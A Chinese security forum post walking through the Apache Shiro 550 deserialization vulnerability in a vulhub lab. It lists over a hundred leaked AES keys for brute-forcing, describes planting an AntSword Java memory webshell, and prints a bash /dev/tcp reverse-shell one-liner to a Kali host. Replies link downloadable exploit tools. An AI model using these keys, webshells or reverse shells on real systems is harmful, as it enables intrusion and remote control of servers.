用户
搜索
  • TA的每日心情
    开心
    2022-1-10 16:57
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    2

    主题

    6

    帖子

    115

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2021-4-5
    发表于 2022-1-10 04:59:25 3931
    本帖最后由 Rubi1i队长 于 2022-1-10 05:25 编辑

    一、如何识别Shiro框架


    • 未登陆的情况下请求包的Cookie中不存在rememberMe的信息,响应包Set-Cookie里也没有rememberMe=deleteMe的信息


       


    • 登陆失败的话,无论是否勾选Remember me(相当于记住账号密码的功能),响应包中Set-Cookie参数值中存在rememberMe=deleteMe的信息


       


       


       

    • 不勾选Remember me字段并登陆成功的话响应包中的Set-Cookie的值中存在rememberMe=deleteMe信息,但之后的所有请求数据包中Cookie都不会有rememberMe的信息
    • 勾选Remember me字段并登陆成功的话响应包中参数Set-Cookie的值中存在rememberMe=deleteMe信息,并且之后操作的所有请求包中参数Cookie都会有rememberMe的信息



    二、漏洞原理


    在shiro框架中默认使用了CookieRememberMeManager功能,AES是一种对称加密的加密方法(加密、解密用的都是同一个密钥,用于前后端对Cookie的传递处理),其在框架后端处理前端传入的Cookie的流程是:

    后端获取rememberme cookie值 》base64解码 》 AES解密 》 反序列化

                
    在Shiro 1.2.4及之前的框架中,其AES的密钥(也称为Key)是硬编码(将密钥已经写好保存在源码中),从而可以按照源码所规则的方式生成带有恶意数据的Cookie值并通过请求包中Cookie参数Rememberme Cookie插入,在通过后端对Cookie内容接收处理的过程中反序列化以及调用可以造成RCE的Java功能包如CommonsCollections而造成了命令执行的危害,利用顺序则为处理Cookie的逆向逻辑:

    要执行的命令 》序列化 》AES加密 》base64编码 》前端修改请求中rememberme cookie的值

                
    在整个漏洞利用的过程中,重点在于AES加解密所用的密钥,该密钥是以硬编码的方式存在,如果管理员没有及时修改该默认密钥,安全测试者就可以在前端自主构造恶意数据请求传入后端处理执行达到RCE的效果。在Shiro 1.2.4及之前的框架中,Key为默认存于源码中,而且该框架属于开源状态,如果不及时修改的话,从而控制Rememberme Cookie传入恶意数据到后端反序列化的对象。(相比Base64、序列化操作,理论上AES没有密钥将无法破解出可用明文数据,现在测试者拥有了AES加密解密所用的Key,相当于可以操控整个Cookie构造过程,那测试者将可以随意构造含有恶意命令的Cookie数据传入后端,由后端的处理得到数据中的恶意命令的明文,再通过其他功能包调用执行了命令)


    Cookie数据传入后端引起RCE的过程:   
    后端获取rememberme cookie值 》base64解码 》 AES解密 》 反序列化 》 readObject()调用对象 》其中调用如CommonsCollections包从而执行命令

                
    有些具有安全意识的运维人员会自己按照官方的文档并利用工具重新构造一个新的Key,有些运维人员会直接用官方默认Key,还有一种情况是采用互联网上其他运维人员二次开发过的源码,其中Key就被重新构造过,但出于此套源码仍存在于互联网,其中的Key仍有很大的可能被收集到,这种情况是存在较大的潜在危险性的。


    以下是从互联网中收集到的Key(仍可以自己长时间测试并扩展收集):

    kPH+bIxk5D2deZiIxcaaaA==
    2AvVhdsgUs0FSA3SDFAdag==
    3AvVhmFLUs0KTA3Kprsdag==
    4AvVhmFLUs0KTA3Kprsdag==
    5aaC5qKm5oqA5pyvAAAAAA==
    6ZmI6I2j5Y+R5aSn5ZOlAA==
    bWljcm9zAAAAAAAAAAAAAA==
    wGiHplamyXlVB11UXWol8g==
    Z3VucwAAAAAAAAAAAAAAAA==
    MTIzNDU2Nzg5MGFiY2RlZg==
    zSyK5Kp6PZAAjlT+eeNMlg==
    U3ByaW5nQmxhZGUAAAAAAA==
    5AvVhmFLUs0KTA3Kprsdag==
    bXdrXl9eNjY2KjA3Z2otPQ==
    fCq+/xW488hMTCD+cmJ3aQ==
    1QWLxg+NYmxraMoxAXu/Iw==
    ZUdsaGJuSmxibVI2ZHc9PQ==
    L7RioUULEFhRyxM7a2R/Yg==
    r0e3c16IdVkouZgk1TKVMg==
    bWluZS1hc3NldC1rZXk6QQ==
    a2VlcE9uR29pbmdBbmRGaQ==
    WcfHGU25gNnTxTlmJMeSpw==
    ZAvph3dsQs0FSL3SDFAdag==
    tiVV6g3uZBGfgshesAQbjA==
    cmVtZW1iZXJNZQAAAAAAAA==
    ZnJlc2h6Y24xMjM0NTY3OA==
    RVZBTk5JR0hUTFlfV0FPVQ==
    WkhBTkdYSUFPSEVJX0NBVA==
    GsHaWo4m1eNbE0kNSMULhg==
    l8cc6d2xpkT1yFtLIcLHCg==
    KU471rVNQ6k7PQL4SqxgJg==
    0AvVhmFLUs0KTA3Kprsdag==
    1AvVhdsgUs0FSA3SDFAdag==
    25BsmdYwjnfcWmnhAciDDg==
    3JvYhmBLUs0ETA5Kprsdag==
    6AvVhmFLUs0KTA3Kprsdag==
    6NfXkC7YVCV5DASIrEm1Rg==
    7AvVhmFLUs0KTA3Kprsdag==
    8AvVhmFLUs0KTA3Kprsdag==
    8BvVhmFLUs0KTA3Kprsdag==
    9AvVhmFLUs0KTA3Kprsdag==
    OUHYQzxQ/W9e/UjiAGu6rg==
    a3dvbmcAAAAAAAAAAAAAAA==
    aU1pcmFjbGVpTWlyYWNsZQ==
    bXRvbnMAAAAAAAAAAAAAAA==
    OY//C4rhfwNxCQAQCrQQ1Q==
    5J7bIJIV0LQSN3c9LPitBQ==
    f/SY5TIve5WWzT4aQlABJA==
    bya2HkYo57u6fWh5theAWw==
    WuB+y2gcHRnY2Lg9+Aqmqg==
    3qDVdLawoIr1xFd6ietnwg==
    YI1+nBV//m7ELrIyDHm6DQ==
    6Zm+6I2j5Y+R5aS+5ZOlAA==
    2A2V+RFLUs+eTA3Kpr+dag==
    6ZmI6I2j3Y+R1aSn5BOlAA==
    SkZpbmFsQmxhZGUAAAAAAA==
    2cVtiE83c4lIrELJwKGJUw==
    fsHspZw/92PrS3XrPW+vxw==
    XTx6CKLo/SdSgub+OPHSrw==
    sHdIjUN6tzhl8xZMG3ULCQ==
    O4pdf+7e+mZe8NyxMTPJmQ==
    HWrBltGvEZc14h9VpMvZWw==
    rPNqM6uKFCyaL10AK51UkQ==
    Y1JxNSPXVwMkyvES/kJGeQ==
    lT2UvDUmQwewm6mMoiw4Ig==
    MPdCMZ9urzEA50JDlDYYDg==
    xVmmoltfpb8tTceuT5R7Bw==
    c+3hFGPjbgzGdrC+MHgoRQ==
    ClLk69oNcA3m+s0jIMIkpg==
    Bf7MfkNR0axGGptozrebag==
    1tC/xrDYs8ey+sa3emtiYw==
    ZmFsYWRvLnh5ei5zaGlybw==
    cGhyYWNrY3RmREUhfiMkZA==
    IduElDUpDDXE677ZkhhKnQ==
    yeAAo1E8BOeAYfBlm4NG9Q==
    cGljYXMAAAAAAAAAAAAAAA==
    2itfW92XazYRi5ltW0M2yA==
    XgGkgqGqYrix9lI6vxcrRw==
    ertVhmFLUs0KTA3Kprsdag==
    5AvVhmFLUS0ATA4Kprsdag==
    s0KTA3mFLUprK4AvVhsdag==
    hBlzKg78ajaZuTE0VLzDDg==
    9FvVhtFLUs0KnA3Kprsdyg==
    d2ViUmVtZW1iZXJNZUtleQ==
    yNeUgSzL/CfiWw1GALg6Ag==
    NGk/3cQ6F5/UNPRh8LpMIg==
    4BvVhmFLUs0KTA3Kprsdag==
    MzVeSkYyWTI2OFVLZjRzZg==
    empodDEyMwAAAAAAAAAAAA==
    A7UzJgh1+EWj5oBFi+mSgw==
    c2hpcm9fYmF0aXMzMgAAAA==
    i45FVt72K2kLgvFrJtoZRw==
    U3BAbW5nQmxhZGUAAAAAAA==
    Jt3C93kMR9D5e8QzwfsiMw==
    MTIzNDU2NzgxMjM0NTY3OA==
    vXP33AonIp9bFwGl7aT7rA==
    V2hhdCBUaGUgSGVsbAAAAA==
    Q01TX0JGTFlLRVlfMjAxOQ==
    Is9zJ3pzNh2cgTHB4ua3+Q==
    NsZXjXVklWPZwOfkvk6kUA==
    GAevYnznvgNCURavBhCr1w==
    66v1O8keKNV3TTcGPK1wzg==
    SDKOLKn2J1j/2BHjeZwAoQ==
    kPH+bIxk5D2deZiIxcabaA==
    kPH+bIxk5D2deZiIxcacaA==
    3AvVhdAgUs0FSA4SDFAdBg==
    4AvVhdsgUs0F563SDFAdag==
    FL9HL9Yu5bVUJ0PDU1ySvg==
    5RC7uBZLkByfFfJm22q/Zw==
    eXNmAAAAAAAAAAAAAAAAAA==
    fdCEiK9YvLC668sS43CJ6A==
    FJoQCiz0z5XWz2N2LyxNww==
    HeUZ/LvgkO7nsa18ZyVxWQ==
    HoTP07fJPKIRLOWoVXmv+Q==
    iycgIIyCatQofd0XXxbzEg==
    m0/5ZZ9L4jjQXn7MREr/bw==
    NoIw91X9GSiCrLCF03ZGZw==
    oPH+bIxk5E2enZiIxcqaaA==
    QAk0rp8sG0uJC4Ke2baYNA==
    Rb5RN+LofDWJlzWAwsXzxg==
    s2SE9y32PvLeYo+VGFpcKA==
    SrpFBcVD89eTQ2icOD0TMg==
    U0hGX2d1bnMAAAAAAAAAAA==
    Us0KvVhTeasAm43KFLAeng==
    Ymx1ZXdoYWxlAAAAAAAAAA==
    YWJjZGRjYmFhYmNkZGNiYQ==
    zIiHplamyXlVB11UXWol8g==
    ZjQyMTJiNTJhZGZmYjFjMQ==

                
    三、漏洞复现


    实验环境:
    Linux下的docker与docker-compose
    vulhub github地址:https://github.com/vulhub/vulhub
    拉取vulhub:git clone https://github.com/vulhub/vulhub  
    #如果出现4xx错误,请改为git clone git://github.com/vulhub/vulhub

    命令:
    docker-compose up -d               
    #在漏洞目录shiro 550(CVE-2016-4437)拉取启动docker容器,启动关闭docker需要在同一目录下进行命令执行
    docker-compose down               
    #关闭docker容器

                   


    查看Linux的网络配置IP地址,容器启动端口默认是8080端口,在使用Burp设置监听抓包的时候记得别冲突了。


       

    尝试登录并抓包,拦截响应数据包,发现存在rememberMe=deleteMe字段信息:



       


    这里用来检测是否存在Shiro反序列化漏洞的方式很多,Github上存在着很多大表哥们开发的POC脚本工具等,此处笔者用的是J1anFen大佬所写的图形化工具


       


    而且爆破的Key内容可以快速修改且方便


       


    将存在Shiro框架的Url复制粘贴到工具检测,点击“爆破密钥”,发现密钥存在于工具列表中,然后“爆破利用链”,也就是可以调用进行RCE的Java功能包,发现也存在,所以我们可以利用Shiro 550反序列化漏洞进行RCE。(检测的功能是用于在测试者已知泄露Key但不存在于工具Key列表的情况下,或者已知利用链,去修改Key的值并验证,验证是否可以利用该Shiro 550漏洞)


       


    让我们命令执行看看,发现成功回显,接下来尝试写入Java内存马


       


    有多种类型的Java内存马,至于每一种类型的马是不同的实现方式,可以自行去了解。这里笔者采用的是Filter蚁剑的马子,复制内存马PUT好的链接并配置好蚁剑,成功连接上。


       



       



       


       




    利用虚拟终端,尝试反弹shell到攻击机Kali上(正常状态下应该是公网VPS)

    命令:

    bash -c 'exec bash -i &>/dev/tcp/192.168.137.130/1234 <&1'               
    #目标机上执行,反弹shell流量到192.168.137.130主机的1234上

    nc -lvvp 1234               
    #监听1234端口

       

    回到Kali攻击机获取交互shell:

       


    修复方案:

    ①千万别使用来自互联网的密钥,需要的话可以自己按照官方的方法进行生成Key!!!

    ②有能力的话可以修改有关rememberMe关键字,也千万别将自己的Key泄露到互联网上!!!

    在官方后续的修复和处理中,只是对Key的保密性进行加强:删除了默认Key、如果不配置Key将会随机生成Key等等,但造成反序列化RCE的点readObject()与处理的对象来自于外部的RememberMe Cookie仍可以由前端进行控制传入数据,如果泄露了Key,理论上是存在Shiro 550反序列化RCE漏洞的!!!

    所以,最有效的方式就是别泄露AES的Key!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

    总结:

           复现漏洞成功,其实有关Shiro 550这个漏洞的EXP&POC以及有很多存在手工和工具多种方法,笔者这里演示这一种方法的目的是为了更快更方便的利用该漏洞,毕竟在干活的时候每一分钟每一秒都很宝贵。如果要深入了解Shiro反序列化漏洞,还需要我们去深入研究Shiro框架里各种功能Jar包的调用等等,如果没有Java审计能力,将会让自己很头疼,所以说我们要将学习的重点放在该关注的点上,就好比本章所介绍的Shiro 550反序列化漏洞,重点就在RememberMe Cookie处理上,还有处理过程中的AES Key的保密性,毕竟AES是一种对称性加密算法,如果丢失了Key,安全性将存无,所以说安全测试者其中之一的思路可以着重在Key收集上,理论上如果得到Key较大的几率就可以利用该Shiro框架的反序列化漏洞。


    好好做事,好好做人
    Key重新发:

    kPH+bIxk5D2deZiIxcaaaA==
    2AvVhdsgUs0FSA3SDFAdag==
    3AvVhmFLUs0KTA3Kprsdag==
    4AvVhmFLUs0KTA3Kprsdag==
    5aaC5qKm5oqA5pyvAAAAAA==
    6ZmI6I2j5Y+R5aSn5ZOlAA==
    bWljcm9zAAAAAAAAAAAAAA==
    wGiHplamyXlVB11UXWol8g==
    Z3VucwAAAAAAAAAAAAAAAA==
    MTIzNDU2Nzg5MGFiY2RlZg==
    zSyK5Kp6PZAAjlT+eeNMlg==
    U3ByaW5nQmxhZGUAAAAAAA==
    5AvVhmFLUs0KTA3Kprsdag==
    bXdrXl9eNjY2KjA3Z2otPQ==
    fCq+/xW488hMTCD+cmJ3aQ==
    1QWLxg+NYmxraMoxAXu/Iw==
    ZUdsaGJuSmxibVI2ZHc9PQ==
    L7RioUULEFhRyxM7a2R/Yg==
    r0e3c16IdVkouZgk1TKVMg==
    bWluZS1hc3NldC1rZXk6QQ==
    a2VlcE9uR29pbmdBbmRGaQ==
    WcfHGU25gNnTxTlmJMeSpw==
    ZAvph3dsQs0FSL3SDFAdag==
    tiVV6g3uZBGfgshesAQbjA==
    cmVtZW1iZXJNZQAAAAAAAA==
    ZnJlc2h6Y24xMjM0NTY3OA==
    RVZBTk5JR0hUTFlfV0FPVQ==
    WkhBTkdYSUFPSEVJX0NBVA==
    GsHaWo4m1eNbE0kNSMULhg==
    l8cc6d2xpkT1yFtLIcLHCg==
    KU471rVNQ6k7PQL4SqxgJg==
    0AvVhmFLUs0KTA3Kprsdag==
    1AvVhdsgUs0FSA3SDFAdag==
    25BsmdYwjnfcWmnhAciDDg==
    3JvYhmBLUs0ETA5Kprsdag==
    6AvVhmFLUs0KTA3Kprsdag==
    6NfXkC7YVCV5DASIrEm1Rg==
    7AvVhmFLUs0KTA3Kprsdag==
    8AvVhmFLUs0KTA3Kprsdag==
    8BvVhmFLUs0KTA3Kprsdag==
    9AvVhmFLUs0KTA3Kprsdag==
    OUHYQzxQ/W9e/UjiAGu6rg==
    a3dvbmcAAAAAAAAAAAAAAA==
    aU1pcmFjbGVpTWlyYWNsZQ==
    bXRvbnMAAAAAAAAAAAAAAA==
    OY//C4rhfwNxCQAQCrQQ1Q==
    5J7bIJIV0LQSN3c9LPitBQ==
    f/SY5TIve5WWzT4aQlABJA==
    bya2HkYo57u6fWh5theAWw==
    WuB+y2gcHRnY2Lg9+Aqmqg==
    3qDVdLawoIr1xFd6ietnwg==
    YI1+nBV//m7ELrIyDHm6DQ==
    6Zm+6I2j5Y+R5aS+5ZOlAA==
    2A2V+RFLUs+eTA3Kpr+dag==
    6ZmI6I2j3Y+R1aSn5BOlAA==
    SkZpbmFsQmxhZGUAAAAAAA==
    2cVtiE83c4lIrELJwKGJUw==
    fsHspZw/92PrS3XrPW+vxw==
    XTx6CKLo/SdSgub+OPHSrw==
    sHdIjUN6tzhl8xZMG3ULCQ==
    O4pdf+7e+mZe8NyxMTPJmQ==
    HWrBltGvEZc14h9VpMvZWw==
    rPNqM6uKFCyaL10AK51UkQ==
    Y1JxNSPXVwMkyvES/kJGeQ==
    lT2UvDUmQwewm6mMoiw4Ig==
    MPdCMZ9urzEA50JDlDYYDg==
    xVmmoltfpb8tTceuT5R7Bw==
    c+3hFGPjbgzGdrC+MHgoRQ==
    ClLk69oNcA3m+s0jIMIkpg==
    Bf7MfkNR0axGGptozrebag==
    1tC/xrDYs8ey+sa3emtiYw==
    ZmFsYWRvLnh5ei5zaGlybw==
    cGhyYWNrY3RmREUhfiMkZA==
    IduElDUpDDXE677ZkhhKnQ==
    yeAAo1E8BOeAYfBlm4NG9Q==
    cGljYXMAAAAAAAAAAAAAAA==
    2itfW92XazYRi5ltW0M2yA==
    XgGkgqGqYrix9lI6vxcrRw==
    ertVhmFLUs0KTA3Kprsdag==
    5AvVhmFLUS0ATA4Kprsdag==
    s0KTA3mFLUprK4AvVhsdag==
    hBlzKg78ajaZuTE0VLzDDg==
    9FvVhtFLUs0KnA3Kprsdyg==
    d2ViUmVtZW1iZXJNZUtleQ==
    yNeUgSzL/CfiWw1GALg6Ag==
    NGk/3cQ6F5/UNPRh8LpMIg==
    4BvVhmFLUs0KTA3Kprsdag==
    MzVeSkYyWTI2OFVLZjRzZg==
    empodDEyMwAAAAAAAAAAAA==
    A7UzJgh1+EWj5oBFi+mSgw==
    c2hpcm9fYmF0aXMzMgAAAA==
    i45FVt72K2kLgvFrJtoZRw==
    U3BAbW5nQmxhZGUAAAAAAA==
    Jt3C93kMR9D5e8QzwfsiMw==
    MTIzNDU2NzgxMjM0NTY3OA==
    vXP33AonIp9bFwGl7aT7rA==
    V2hhdCBUaGUgSGVsbAAAAA==
    Q01TX0JGTFlLRVlfMjAxOQ==
    Is9zJ3pzNh2cgTHB4ua3+Q==
    NsZXjXVklWPZwOfkvk6kUA==
    GAevYnznvgNCURavBhCr1w==
    66v1O8keKNV3TTcGPK1wzg==
    SDKOLKn2J1j/2BHjeZwAoQ==
    kPH+bIxk5D2deZiIxcabaA==
    kPH+bIxk5D2deZiIxcacaA==
    3AvVhdAgUs0FSA4SDFAdBg==
    4AvVhdsgUs0F563SDFAdag==
    FL9HL9Yu5bVUJ0PDU1ySvg==
    5RC7uBZLkByfFfJm22q/Zw==
    eXNmAAAAAAAAAAAAAAAAAA==
    fdCEiK9YvLC668sS43CJ6A==
    FJoQCiz0z5XWz2N2LyxNww==
    HeUZ/LvgkO7nsa18ZyVxWQ==
    HoTP07fJPKIRLOWoVXmv+Q==
    iycgIIyCatQofd0XXxbzEg==
    m0/5ZZ9L4jjQXn7MREr/bw==
    NoIw91X9GSiCrLCF03ZGZw==
    oPH+bIxk5E2enZiIxcqaaA==
    QAk0rp8sG0uJC4Ke2baYNA==
    Rb5RN+LofDWJlzWAwsXzxg==
    s2SE9y32PvLeYo+VGFpcKA==
    SrpFBcVD89eTQ2icOD0TMg==
    U0hGX2d1bnMAAAAAAAAAAA==
    Us0KvVhTeasAm43KFLAeng==
    Ymx1ZXdoYWxlAAAAAAAAAA==
    YWJjZGRjYmFhYmNkZGNiYQ==
    zIiHplamyXlVB11UXWol8g==
    ZjQyMTJiNTJhZGZmYjFjMQ==
    好好做事,好好做人
    使用道具 举报 回复
    工具文件
    链接:https://pan.baidu.com/s/1OZFqM2XxNJxadBRCm5yICQ
    提取码:7q07
    --来自百度网盘超级会员V2的分享


    好好做事,好好做人
    使用道具 举报 回复
    工具链接:
    链接:https://pan.baidu.com/s/1iAk6lMUG2uVDs8zhu8Jyjg
    提取码:gstr
    --来自百度网盘超级会员V2的分享
    好好做事,好好做人
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册